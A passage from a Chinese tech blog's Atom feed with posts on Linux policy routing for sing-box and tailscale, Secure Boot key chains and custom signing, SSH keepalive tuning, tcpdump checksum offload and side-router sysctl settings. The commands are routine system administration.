&lt;li&gt;内核按 &lt;code&gt;ip rule&lt;&#x2F;code&gt; 的 pref 从小到大&lt;strong&gt;逐条&lt;&#x2F;strong&gt;匹配：selector 命中 → 执行动作（&lt;code&gt;lookup 表X&lt;&#x2F;code&gt; → 在该表内做最长前缀匹配）；&lt;strong&gt;命中即终止&lt;&#x2F;strong&gt;；表内没命中则&lt;strong&gt;继续执行下一条规则&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;默认规则链（IPv4）：&lt;code&gt;0 local&lt;&#x2F;code&gt; → &lt;code&gt;32766 main&lt;&#x2F;code&gt; → &lt;code&gt;32767 default&lt;&#x2F;code&gt;（实际是 unreachable，兜底丢弃）。&lt;&#x2F;li&gt;
&lt;li&gt;同一个 pref 允许多条规则（实测 sing-box 生成的 9002&#x2F;9003 各有两条），同 pref 内按插入顺序比较。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以&quot;main 表里的默认路由能匹配所有流量&quot;是真的，但它只有当规则链走到 &lt;code&gt;lookup main&lt;&#x2F;code&gt; 时才会被查询。5001 的 pref（5000&#x2F;5001）比 32766 小，在它之前就把流量带去了表 2000，main 的默认路由根本没机会被查。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gao-you-xian-ji-mo-ren-lu-you-hui-tun-diao-main-de-nei-wang-lu-you&quot;&gt;高优先级默认路由会吞掉 main 的内网路由&lt;&#x2F;h1&gt;
&lt;p&gt;坑：表 2000 里的 default 匹配&lt;strong&gt;所有&lt;&#x2F;strong&gt;流量（包括内网网段），而 main 表里那些更具体的路由（比如 192.168.4.0&#x2F;22）只有在规则链走到 &lt;code&gt;lookup main&lt;&#x2F;code&gt; 时才有机会 —— 只要 5001 先命中，内网路由就永远轮不到，&lt;strong&gt;内网会断&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;规则链的先后必须按&quot;范围从精确到宽泛&quot;排，两种做法：&lt;&#x2F;p&gt;
&lt;p&gt;做法 1：内网流量先查 main，其余才走自定义表&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip rule add priority 5000 from all table main suppress_prefixlength 0  # 内网直连兜底
ip rule add priority 5001 from all lookup 2000                         # 其余流量走旁路由 default
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;5000 只匹配 main 里的&lt;strong&gt;具体&lt;&#x2F;strong&gt;路由（suppress_prefixlength 0 屏蔽了 main 的默认路由），内网包在此命中即结束，不进代理；漏网的流量才落到 5001，进表 2000 的 default。&lt;&#x2F;p&gt;
&lt;p&gt;做法 2：把内网路由也复制进自定义表&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip route add 192.168.4.0&amp;#x2F;22 dev eth0 table 2000
ip route add default via 192.168.10.10 table 2000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;表内查找是&quot;最长前缀优先&quot;，具体网段永远比 0.0.0.0&#x2F;0 先命中。推荐做法 1：规则链即决策树，语义清晰，不用维护两份路由。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-ce-sing-box-tun-jiu-shi-tong-yi-tao-ji-zhi&quot;&gt;实测：sing-box tun 就是同一套机制&lt;&#x2F;h1&gt;
&lt;p&gt;本机 sing-box tun 模式（auto_route）生成的规则链：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;0:    from all lookup local
5210: from all fwmark 0x80000&amp;#x2F;0xff0000 lookup main      # 打标记的包放行直连（防回流）
5270: from all lookup 52                                 # tailscale 直连，绕过代理
9000: from all to 172.18.0.0&amp;#x2F;30 lookup 2022              # tun 网段本身
9001: from all lookup 2022 suppress_prefixlength 0       # 表 2022 的具体路由兜底
9002: not from all dport 53 lookup main suppress_prefixlength 0  # 非 DNS 先看 main 具体路由（内网直连）
9002: from all iif singbox_tun goto 9010                 # 从 tun 回来的包跳过劫持，防环路
9003: not from all iif lo lookup 2022                    # 非本机流量全量进 2022
9003: from 0.0.0.0 iif lo lookup 2022                    # 本机未绑定地址的流量进代理
9003: from 172.18.0.0&amp;#x2F;30 iif lo lookup 2022              # 绑 tun 地址的流量进代理
32766: from all lookup main
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;table 2022 里就一条 &lt;code&gt;default via 172.18.0.2 dev singbox_tun&lt;&#x2F;code&gt; —— 这就是 sing-box 的&quot;高优先级默认路由&quot;：靠 9002&#x2F;9003 等规则把流量先引到 tun 网卡，优先级高于 32766 的 main。fwmark 0x80000 是 sing-box 给自己出站&#x2F;回注的包打的标记（用 nftables），让它们直接走 main 直连、避免再被灌回 tun 造成环路。更完整的规则逐条解读见《sing-box tun配置》（2025&#x2F;11&#x2F;sing-box tun配置）。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;勘误（2026-09-12）&lt;&#x2F;strong&gt;：上面把整条规则链都当作 sing-box 生成、并把 &lt;code&gt;fwmark 0x80000&lt;&#x2F;code&gt; 说成 sing-box 的标记——归属弄错了。实测（全新 VM 只装 tailscale、无 sing-box）：&lt;code&gt;5210&#x2F;5230&#x2F;5250: from all fwmark 0x80000&#x2F;0xff0000&lt;&#x2F;code&gt; 三条规则由 &lt;strong&gt;tailscaled&lt;&#x2F;strong&gt; 安装（tailscale 给自己出站的 WireGuard 包打 0x80000 防回流），&lt;code&gt;5270: from all lookup 52&lt;&#x2F;code&gt; 也是 tailscale 的；sing-box 生成的只有 &lt;code&gt;9000–9003&lt;&#x2F;code&gt; 那几条（其自用 mark 走 &lt;code&gt;default_mark&lt;&#x2F;code&gt; 配置，源码未硬编码 0x80000）。原文规则链实为 tailscale + sing-box 两者叠加。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;pai-cha-ming-ling&quot;&gt;排查命令&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip rule show                                   # 看规则链顺序
ip route show table 2000                       # 看指定表的路由
ip route get 1.2.3.4                           # 模拟选路：直接告诉你命中了哪条规则、查了哪个表、走了哪条路由
ip route get 1.2.3.4 dport 53                  # 模拟 DNS 包（53 端口）走哪
ip route get 1.2.3.4 iif eth0                  # 模拟从 eth0 进来的转发包走哪
ip route get 1.2.3.4 mark 0x80000              # 模拟带 fwmark 标记的包走哪
ip monitor rule route                          # 实时观察规则&amp;#x2F;路由变化
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-dns&quot;&gt;配置dns&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo tee -a &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;resolved.conf&amp;lt;&amp;lt;EOF
DNS=223.5.5.5 8.8.8.8 8.8.4.4
FallbackDNS=1.1.1.1 1.0.0.1
# DNSStubListener=no
EOF

sudo systemctl restart systemd-resolved.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>uefi 安装启动</title>
        <published>2025-11-28T17:37:06+08:00</published>
        <updated>2025-12-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/uefi 安装启动/"/>
        <id>https://vercel.juzhong.asia/2025/11/uefi 安装启动/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/uefi 安装启动/">&lt;h1 id=&quot;secure-boot-de-qian-ming-lian-pk-kek-db-zhong-de-ge-zi-de-zuo-yong&quot;&gt;Secure Boot 的签名链（PK&#x2F;KEK&#x2F;DB） 中的各自的作用？&lt;&#x2F;h1&gt;
&lt;p&gt;结合完整的 Secure Boot 启动链（shim → grub → kernel） 进行详细的解释&lt;&#x2F;p&gt;
&lt;h1 id=&quot;xin-ren-lian-de-gen-yuan-oem-gu-jian&quot;&gt;信任链的根源 (OEM&#x2F;固件)&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，UEFI 安全启动的信任链始于固件（BIOS&#x2F;UEFI）。固件中预先存储了三个关键的密钥数据库：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;平台密钥 (PK - Platform Key): 最高级的密钥，用于签署 KEK 的更新。由 PC 制造商 (OEM) 负责管理。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;密钥交换密钥 (KEK - Key Exchange Key): 用于签署签名数据库 (db) 和禁止签名数据库 (dbx) 的更新。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;签名数据库 (db - Signature Database): 包含了被允许执行的操作系统引导加载程序、驱动程序等组件的公钥或证书。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;初始状态下，这个 db 数据库中通常包含：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;OEM 自己的证书： 用于验证固件更新和 OEM 自己的工具。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Microsoft Corporation UEFI CA 证书： 允许启动所有由微软签名的组件，包括 Windows 启动管理器以及由微软服务签名的第三方引导加载程序。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;UEFI 固件内部存有四类关键数据库：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;名称&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;主要作用&lt;&#x2F;th&gt;&lt;th&gt;由谁管理&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;PK（Platform Key）&lt;&#x2F;td&gt;&lt;td&gt;公开证书 + 私钥在厂商手上&lt;&#x2F;td&gt;&lt;td&gt;管理平台最顶层权限（用来更新 KEK）&lt;&#x2F;td&gt;&lt;td&gt;OEM（华硕、联想等）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;KEK（Key Exchange Key）&lt;&#x2F;td&gt;&lt;td&gt;公开证书&lt;&#x2F;td&gt;&lt;td&gt;用来更新 DB &#x2F; DBX&lt;&#x2F;td&gt;&lt;td&gt;OEM、Microsoft&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DB（Allowed Signatures）允许列表&lt;&#x2F;td&gt;&lt;td&gt;证书 + Hash&lt;&#x2F;td&gt;&lt;td&gt;允许启动的 EFI 程序的签名&lt;&#x2F;td&gt;&lt;td&gt;Microsoft（多数 PC），OEM，用户&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DBX（Forbidden Signatures）禁止列表&lt;&#x2F;td&gt;&lt;td&gt;证书 + Hash&lt;&#x2F;td&gt;&lt;td&gt;被吊销&#x2F;恶意的 EFI 程序摘要&lt;&#x2F;td&gt;&lt;td&gt;Microsoft&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Secure Boot 的工作原则：UEFI 只允许 DB 中签名的文件启动，禁止 DBX 中的文件。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;UEFI 会从 DB&#x2F;DBX 中取证书来验证 shim 的签名&lt;&#x2F;li&gt;
&lt;li&gt;shim.efi 验证 grubx64.efi（第二级验证）
&lt;ul&gt;
&lt;li&gt;shim 内置了一个 shim-own certificate (MOK)
&lt;ul&gt;
&lt;li&gt;→ 是从 Linux 发行版（或用户）生成的&lt;&#x2F;li&gt;
&lt;li&gt;→ 不需要微软参与&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;所以 shim 的验证过程：
&lt;ul&gt;
&lt;li&gt;shim 内的 MOK 列表（Machine Owner Keys）
↓ 验证 grub 是否被 MOK 签名
grub 才能启动&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;shim 的最大用途：让 Linux 自己管理信任链，而不依赖微软。&lt;&#x2F;li&gt;
&lt;li&gt;用户也可以加入自己的 MOK（mokutil --import）这样用户可以签：
&lt;ul&gt;
&lt;li&gt;grub&lt;&#x2F;li&gt;
&lt;li&gt;kernel&lt;&#x2F;li&gt;
&lt;li&gt;initrd&lt;&#x2F;li&gt;
&lt;li&gt;甚至自己写的 EFI 程序&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;grubx64.efi 验证 Linux kernel（第三级验证）
&lt;ul&gt;
&lt;li&gt;使用 shim 提供的验证接口（shim_lock）
&lt;ul&gt;
&lt;li&gt;↓ 验证 kernel 是否被 MOK（DB）签名&lt;&#x2F;li&gt;
&lt;li&gt;kernel 才能加载&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;通常：
&lt;ul&gt;
&lt;li&gt;在 Ubuntu &#x2F; Debian，kernel 已经用 Canonical 的私钥签名（内置在 shim MOK 内）&lt;&#x2F;li&gt;
&lt;li&gt;在 Fedora，kernel 用 Red Hat 的私钥签名&lt;&#x2F;li&gt;
&lt;li&gt;所以 grub加载内核时会调用 shim 的验证函数：&lt;&#x2F;li&gt;
&lt;li&gt;verify_pe_signature()&lt;&#x2F;li&gt;
&lt;li&gt;决定内核是否可信。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;wei-ruan-de-jiao-se-shang-ye-gong-si-de-dai-li-qian-ming&quot;&gt;微软的角色：商业公司的“代理签名”&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;微软确实在为其他商业公司签名方面扮演了核心角色，但不是直接负责。&lt;&#x2F;li&gt;
&lt;li&gt;机制： 微软提供了一个 UEFI CA (Certificate Authority) 证书，这个证书被全球几乎所有 OEM 预装在了 UEFI 固件的 db 数据库中。&lt;&#x2F;li&gt;
&lt;li&gt;服务： 许多第三方操作系统供应商或硬件&#x2F;驱动程序制造商（如主流的 Linux 发行版，如 Canonical&#x2F;Ubuntu、Red Hat 等）为了让他们的启动文件能在一台开启了安全启动的 Windows 电脑上运行，会向微软的 硬件仪表板（Hardware Dashboard） 提交他们的启动文件（例如 Linux 的 shim.efi）。&lt;&#x2F;li&gt;
&lt;li&gt;签名： 微软使用自己的 Microsoft UEFI CA 证书的私钥，为这些第三方文件进行数字签名。&lt;&#x2F;li&gt;
&lt;li&gt;结果： 固件检查启动文件时，发现它是由 Microsoft UEFI CA 签名的，而这个 CA 证书在 db 数据库中是被信任的，因此允许启动。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zi-ji-qian-ming-secure-boot-de-shi-ji-liu-cheng-wan-zheng-bu-zou&quot;&gt;自己签名 Secure Boot 的实际流程（完整步骤）&lt;&#x2F;h1&gt;
&lt;p&gt;下面是 Linux 下常见的方式（OpenSSL + sbsigntools）：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sheng-cheng-san-tao-mi-yao-pk-kek-db&quot;&gt;① 生成三套密钥（PK&#x2F;KEK&#x2F;DB）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl req -new -x509 -newkey rsa:2048 -sha256 -keyout PK.key -out PK.crt -subj &amp;quot;&amp;#x2F;CN=Custom PK&amp;#x2F;&amp;quot; -days 3650
openssl req -new -x509 -newkey rsa:2048 -sha256 -keyout KEK.key -out KEK.crt -subj &amp;quot;&amp;#x2F;CN=Custom KEK&amp;#x2F;&amp;quot; -days 3650
openssl req -new -x509 -newkey rsa:2048 -sha256 -keyout DB.key -out DB.crt -subj &amp;quot;&amp;#x2F;CN=Custom DB&amp;#x2F;&amp;quot; -days 3650
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;sheng-cheng-uefi-ke-shi-bie-de-auth-wen-jian&quot;&gt;② 生成 UEFI 可识别的 .auth 文件&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cert-to-efi-sig-list -g &amp;quot;$(uuidgen)&amp;quot; PK.crt PK.esl
sign-efi-sig-list -k PK.key -c PK.crt PK PK.esl PK.auth
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;KEK&#x2F;DB 同理。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jin-ru-bios-qie-huan-dao-custom-secure-boot&quot;&gt;③ 进入 BIOS，切换到 Custom Secure Boot&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;大多数设备 BIOS 中选择：
Secure Boot → Custom Mode
然后可以导入你的 PK.auth, KEK.auth, DB.auth
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shi-yong-ni-de-db-si-yao-qian-ming-yin-dao-cheng-xu&quot;&gt;④ 使用你的 DB 私钥签名引导程序&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;例如对 GRUB2 EFI 文件签名：
sbsign --key DB.key --cert DB.crt --output grubx64.efi grubx64.efi
然后用这个签名过的 grubx64.efi 启动即可。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>为什么ssh长时间空闲后，终端就卡死了</title>
        <published>2025-11-27T19:21:20+08:00</published>
        <updated>2025-11-27T19:21:20+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/为什么ssh长时间空闲后，终端就卡死了/"/>
        <id>https://vercel.juzhong.asia/2025/11/为什么ssh长时间空闲后，终端就卡死了/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/为什么ssh长时间空闲后，终端就卡死了/">&lt;h1 id=&quot;wen-ti-yuan-yin&quot;&gt;问题原因&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;SSH 连接在长时间空闲后“卡死”（表现为终端无响应、输入无回显、Ctrl+C 无效等），\&lt;&#x2F;li&gt;
&lt;li&gt;通常不是 SSH 协议本身“卡”了，而是连接被中间网络设备（如 NAT 网关、防火墙）静默丢弃所致。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ju-ti-fen-xi&quot;&gt;具体分析&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;TCP 连接超时被中间设备丢弃
&lt;ul&gt;
&lt;li&gt;多数 NAT 路由器或云服务商（如 AWS、阿里云）的防火墙&#x2F;安全组默认 TCP 空闲超时时间为 5–15 分钟（例如 AWS 默认 350 秒）。&lt;&#x2F;li&gt;
&lt;li&gt;若 SSH 会话长时间无数据包交换（即使你在终端看着 htop 不动也算“空闲”），中间设备会悄悄丢弃连接状态，但不向两端发送 RST&#x2F;FIN。&lt;&#x2F;li&gt;
&lt;li&gt;此时：
&lt;ul&gt;
&lt;li&gt;客户端仍以为连接 alive，输入无响应（包发出去但被丢，无 ACK）；&lt;&#x2F;li&gt;
&lt;li&gt;服务端也无感知，直到尝试写数据才发现对端已不可达（但可能延迟很久）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;服务端或客户端的 TCP keepalive 默认关闭或间隔太长
&lt;ul&gt;
&lt;li&gt;Linux 默认的 TCP keepalive 是 net.ipv4.tcp_keepalive_time = 7200 秒（2 小时），远晚于中间设备的超时。&lt;&#x2F;li&gt;
&lt;li&gt;所以 keepalive 包来不及发送，连接已被丢弃。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;终端控制字符阻塞（较少见）
&lt;ul&gt;
&lt;li&gt;如误按 Ctrl+S（XOFF 流控），导致终端本地“卡住”，但此情况可通过 Ctrl+Q 解除，且不影响 SSH 底层连接。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;jie-jue-fang-an-tui-jian-zu-he-shi-yong&quot;&gt;解决方案（推荐组合使用）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;qi-yong-ssh-ke-hu-duan-bao-huo-zui-chang-yong&quot;&gt;启用 SSH 客户端保活（最常用）&lt;&#x2F;h2&gt;
&lt;p&gt;在 客户端 的 ~&#x2F;.ssh&#x2F;config 中为对应主机配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;Host your-server  # 或 * 表示全局
    HostName example.com
    User peter
    ServerAliveInterval 60      # 每60秒客户端发一个空包探测
    ServerAliveCountMax 3       # 连续3次无响应则断开
    TCPKeepAlive yes            # 同时启用底层 TCP keepalive（可选）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;✅ 效果：每 60 秒发一次 SSH_MSG_CHANNEL_REQUEST &quot;keepalive@openssh.com&quot;，穿透 NAT 设备，防止被丢弃。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fu-wu-duan-bao-huo-xu-you-fu-wu-qi-quan-xian&quot;&gt;服务端保活（需有服务器权限）&lt;&#x2F;h2&gt;
&lt;p&gt;在服务端 &#x2F;etc&#x2F;ssh&#x2F;sshd_config 中添加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;ClientAliveInterval 60
ClientAliveCountMax 3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启 sshd：sudo systemctl restart sshd&lt;&#x2F;p&gt;
&lt;p&gt;⚠️ 注意：若中间设备超时 &amp;lt; 60 秒（如某些企业防火墙为 30 秒），可设为 30。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xi-tong-ji-tcp-keepalive-diao-you-quan-ju-sheng-xiao&quot;&gt;系统级 TCP keepalive 调优（全局生效）&lt;&#x2F;h2&gt;
&lt;p&gt;临时调整（重启失效）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Debian&amp;#x2F;Ubuntu
sudo sysctl -w net.ipv4.tcp_keepalive_time=300
sudo sysctl -w net.ipv4.tcp_keepalive_intvl=60
sudo sysctl -w net.ipv4.tcp_keepalive_probes=3
# 永久生效：写入 &amp;#x2F;etc&amp;#x2F;sysctl.d&amp;#x2F;99-tcp-keepalive.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhen-duan-ji-qiao&quot;&gt;诊断技巧&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;检查是否真“卡”：另开终端 ping your-server。若 ping 通但 SSH 卡住 → 确认为 SSH 连接被丢弃。&lt;&#x2F;li&gt;
&lt;li&gt;查看 SSH 日志（服务端）：journalctl -u ssh -f&lt;&#x2F;li&gt;
&lt;li&gt;抓包验证：sudo tcpdump -i any host your-server and port 22，看是否有 keepalive 包。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>为什么tcpdump抓包tcp校验和不对</title>
        <published>2025-11-27T19:11:03+08:00</published>
        <updated>2025-11-27T19:11:03+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/为什么tcpdump抓包tcp校验和不对/"/>
        <id>https://vercel.juzhong.asia/2025/11/为什么tcpdump抓包tcp校验和不对/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/为什么tcpdump抓包tcp校验和不对/">&lt;h1 id=&quot;tcpdump-zhua-bao-tcpxiao-yan-he-cuo-wu-checksum-incorrect&quot;&gt;tcpdump 抓包tcp校验和错误 (checksum incorrect)&lt;&#x2F;h1&gt;
&lt;p&gt;cksum 0x7f33 (incorrect -&amp;gt; 0x3a5e) 表示校验和计算错误&lt;&#x2F;p&gt;
&lt;p&gt;这通常是 校验和卸载 (Checksum Offloading) 导致的&lt;&#x2F;p&gt;
&lt;p&gt;网卡在硬件层面计算校验和，但抓包时数据包还在内核队列中，校验和尚未计算&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jie-jue-fang-an&quot;&gt;解决方案&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;jin-yong-xiao-yan-he-xie-zai-tui-jian&quot;&gt;禁用校验和卸载（推荐）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 临时禁用 TX 校验和卸载
sudo ethtool -K enp0s31f6 tx off
# 临时禁用 RX 校验和卸载  
sudo ethtool -K enp0s31f6 rx off
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tcpdump-hu-lue-xiao-yan-he-cuo-wu&quot;&gt;tcpdump 忽略校验和错误&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo tcpdump -i enp0s31f6 -v -n not tcp port 22  # 忽略校验和警告
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yong-jiu-jin-yong-xiao-yan-he-xie-zai&quot;&gt;永久禁用校验和卸载&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ethtool -K enp0s31f6 tx off rx off
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>sing-box旁路由配置</title>
        <published>2025-11-26T22:14:25+08:00</published>
        <updated>2025-11-26T22:14:25+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/sing-box旁路由配置/"/>
        <id>https://vercel.juzhong.asia/2025/11/sing-box旁路由配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/sing-box旁路由配置/">&lt;h1 id=&quot;pang-lu-you&quot;&gt;旁路由&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 开启流量转发
echo &amp;quot;net.ipv4.ip_forward = 1&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.d&amp;#x2F;90-override.conf

# 流量转发设备建议设置 default_qdisc 为 fq_codel，详细信息可以阅读：https:&amp;#x2F;&amp;#x2F;www.starduster.me&amp;#x2F;2020&amp;#x2F;03&amp;#x2F;02&amp;#x2F;linux-network-tuning-kernel-parameter&amp;#x2F;#netcoredefault_qdisc
echo &amp;quot;net.core.default_qdisc = fq_codel&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.d&amp;#x2F;90-override.conf

# 用于控制反向路径过滤（Reverse Path Filtering）的一个内核参数，它决定了系统如何处理进入的数据包的源地址校验。
# 如果命令 sysctl -a | grep &amp;#x27;\.rp_filter&amp;#x27; 输出中你的网卡对应的值是 2 ，则需要重新覆盖设置为 0。
# 0：表示不开启源地址校验。系统不会检查进入的数据包的源地址，即使数据包的源地址不可达，也不会被系统丢弃。
# 1：表示开启严格的反向路径校验。系统会检查每个进入的数据包，确保其反向路径是最佳路径。如果不是，数据包将被丢弃。
# 2：表示开启松散的反向路径校验。系统会检查进入的数据包的源地址是否可达，即反向路径是否能通（通过任意网络接口）。如果反向路径不通，数据包将被丢弃。
